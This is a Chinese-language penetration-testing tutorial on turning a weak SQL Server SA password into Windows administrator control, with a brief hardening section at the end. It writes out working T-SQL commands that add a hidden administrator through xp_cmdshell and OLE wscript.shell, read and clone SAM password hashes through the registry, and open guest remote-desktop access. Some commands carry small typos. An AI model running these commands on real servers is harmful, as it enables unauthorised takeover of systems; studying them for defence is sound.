发布时间:2023-01-01 18:30
SqlServer SA 弱口令提权
数据库渗透测试 Windows渗透测试+安全加固
1、“扩展存储过程”中的 xp_cmdshell
Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
网络安全中经常利用SqlServer SA弱口令的情况进行系统入侵,就是利用SqlServer中的"存储过程"获得系统管理员权限的,那到底什么是存储过程?
“存储过程”:其实它是一个“集合体”的总称,那么是什么样的集合体呢,就是存储在SqlServer中预先定义好的“SQL语句脚本集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程这个集合体中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。
2、利用 xp_cmdshell 添加系统账号
比如我们可以执行以下语句,进行系统账号的添加操作:
execmaster..xp_cmdshell'net user test 123/add'
execmaster..xp_cmdshell'net localgroup administrators test /add'
执行以上语句后,我们就在服务器上添加了一个用户名为test,密码为123的系统管理员。
到这里,我们应该就明白了,为什么我们如果获取了数据库的SA权限后,我们可以直接获取系统的最高管理员权限。这也就警惕我们在做数据库管理账号密码设置时,应该注意起口令强度与复杂度的设置,以免被网络入侵者所利用。
3、OLE相关的一系列存储过程
OLE 这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,具体的使用方法如下。
第一步:添加test账号;
DECLARE@shellINT EXEC SP_OACREATE'wscript.shell',@shellOUTPUT
EXEC SP_OAMETHOD@shell,'run',null,'c:\WINNT\system32\cmd.exe /c net user test
1234 /add'
第二步:将test账号添加到administrators超级管理组
DECLARE@shellINT EXEC SP_OACREATE'wscript.shell',@shellOUTPUT
EXEC SP_OAMETHOD@shell,'run',null,'c:\WINNT\system32\cmd.exe /c net localgroup
administrators test /add '
4、xp_regread & xp_regwrite克隆账号
第一步:获取administrator账号的加密密码
xp_regread'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'
第二步:将刚刚获取的0x…开头的value值赋值给guest账号;
xp_regwrite'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......
第三步:使用guest账号登录远程桌面管理
注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;
针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”,现在我们在来看看使用guest账号登录,OK了,登录成功,成功格隆了administrator账号。
5、 MSSQL存储过程利用小结
5.1 入侵利用
可利用存储过程:
从入侵的角度来说,在获取MSSQL sa 弱口令后,我们可以调用的存储过程小脚本有三类:xp_cmdshell
OLE相关存储过程
xp_regread 与 xp_regwrite
5.2 存储过程利用方法
1.xp_cmdshell存储过程 与 OLE相关存储过程由于xp_cmdshell 存储与OLE相关存储过程可以直接调系统层面的命令,故我们可以直接构造语句进行系统账号的添加,来实现对远程主机的入侵控制;
2.xp_regread 与 xp_regwrite利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。
但是同时注意,这种利用方法存在一定的局限性,具体局限性有以下几点:
1) guest账户需要被启用;
2) guest 账户需要在“Remote Desktop Users”
如果缺少了以上条件,guest账户都无法远程登录目标主机,有关于guest账户的启用与远程桌面用户组的添加语句罗列如下。
exec master..xp_cmdshell ‘net user guest /active:yes’
exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'
补充:以上情况,后来验证发现在windows 2000系统中并没有这样的限制,故如果遇到windows 2000系统可以忽略以上情况,可直接秒之。
6、安全防护
针对MSSQL sa 弱口令入侵情况,最方便的防护手段可归纳两点:对于MSSQL 无需对外提供服务器使,请将此服务端口关闭;
对于必须对外提供MSSQL 服务的主机,我们需要加强sa 口令复杂度的设置,同时对于一般性的业务系统调用数据库情况,我们尽量不要使用sa这种高权限的数据库管理权限,改为使用普通账户调用。